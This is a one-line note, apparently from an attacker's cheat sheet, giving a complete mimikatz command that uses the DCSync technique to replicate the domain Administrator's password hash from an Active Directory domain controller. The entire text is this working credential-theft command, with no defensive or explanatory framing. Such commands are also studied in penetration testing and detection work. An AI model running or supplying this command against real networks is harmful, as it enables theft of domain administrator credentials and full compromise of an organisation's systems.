Using mimikatz to replicate domain admin hash: mimikatz.exe "privilege::debug" "lsadump::dcsync /user:Administrator" exit